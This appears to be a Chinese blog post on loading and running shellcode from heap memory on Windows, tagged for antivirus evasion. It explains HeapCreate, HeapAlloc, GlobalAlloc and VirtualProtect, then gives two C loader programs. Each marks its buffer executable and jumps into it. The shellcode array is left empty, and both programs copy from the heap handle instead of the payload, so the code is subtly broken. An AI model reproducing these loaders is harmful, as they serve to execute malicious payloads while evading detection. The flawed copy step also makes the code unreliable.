«

ShellCode加载 - 堆加载

ljierui 发布于 阅读:96 技术杂谈


1、堆加载

方法一

1.1、通过heapCreate函数的方式创建堆
HANDLE HeapCreate(
  [in] DWORD  flOptions,     // 默认选项  参数 HEAP_CREATE_ENABLE_EXECUTE(从此堆分配的所有内存块都允许执行代码) | HEAP_GENERATE_EXCEPTIONS | HEAP_NO_SERIALIZE
  [in] SIZE_T dwInitialSize, // 堆的初始大小
  [in] SIZE_T dwMaximumSize  // 堆的最大大小,如果为0,表示堆是可扩展的
);
1.2、使用HeapAlloc函数在堆上分配内存中间
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap, // 新创建的堆的句柄
  [in] DWORD  dwFlags, // 默认选项 参数 HEAP_ZERO_MEMORY(分配的内存将被初始化为零)
  [in] SIZE_T dwBytes  // 需要的内存大小
);
1.3、使用VirtualProtect函数修改内存中的权限
BOOL VirtualProtect(
  [in]  LPVOID lpAddress, // 要修改的内存区域的起始地址
  [in]  SIZE_T dwSize, // 要修改的内存区域的大小
  [in]  DWORD  flNewProtect, // 新的内存保护属性:可读、可写、可执行
  [out] PDWORD lpflOldProtect // 保存原始的内存保护属性
);
1.4、使用heapFree函数释放内存
BOOL HeapFree(
  [in] HANDLE                 hHeap, // 堆的句柄
  [in] DWORD                  dwFlags, // 0
  [in] _Frees_ptr_opt_ LPVOID lpMem // 指向要释放的内存的指针
);
1.5、实现代码
#include<windows.h>

unsigned char shellcode[] = ;

int main() {

    // 创建堆
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,sizeof(shellcode), sizeof(shellcode));

    // 给堆分配内存
    LPVOID BUFFER = HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

    //把堆中的内容移动到内存中
    RtlMoveMemory(BUFFER, HeapHandle, sizeof(shellcode));

    // 修改内存的权限,修改为可执行
    DWORD oldProtect;
    VirtualProtect(BUFFER, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 强制转换内存地址为函数指针,然后调用它
    ((void(*)())BUFFER)();
    // 释放内存
    HeapFree(HeapHandle,0, BUFFER);
    // 销毁之前创建的堆
    HeapDestroy(HeapHandle);
    return 0;
}

方法二

1.6、通过GlobalAlloc函数分配全局内存
DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  [in] UINT   uFlags, // 初始化内存的大小 参数 GMEM_ZEROINIT(为0)
  [in] SIZE_T dwBytes // 需要的内存大小
);
1.7、通过GlobalLock函数锁定全局内存
LPVOID GlobalLock(
  [in] HGLOBAL hMem //全局内存对象的句柄
);
1.8、实现代码
#include<windows.h>

unsigned char shellcode[] = ;

int main() {

    // 使用GlobalAlloc分配全局内存
    HGLOBAL  HeapHandle = GlobalAlloc(GMEM_ZEROINIT,sizeof(shellcode));

    // 使用GlobalLock锁定全局内存,获取真实的内存地址
    LPVOID BUFFER = GlobalLock(HeapHandle);

    //把堆中的内容移动到内存中
    RtlMoveMemory(BUFFER, HeapHandle, sizeof(shellcode));

    // 修改内存的权限,修改为可执行
    DWORD oldProtect;
    VirtualProtect(BUFFER, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 强制转换内存地址为函数指针,然后调用它
    ((void(*)())BUFFER)();

    // 使用GlobalUnlock解锁之前锁定的全局内存
    GlobalUnlock(HeapHandle);
    // 释放之前分配的全局内存
    GlobalFree(HeapHandle);
    return 0;
}

免杀

推荐阅读: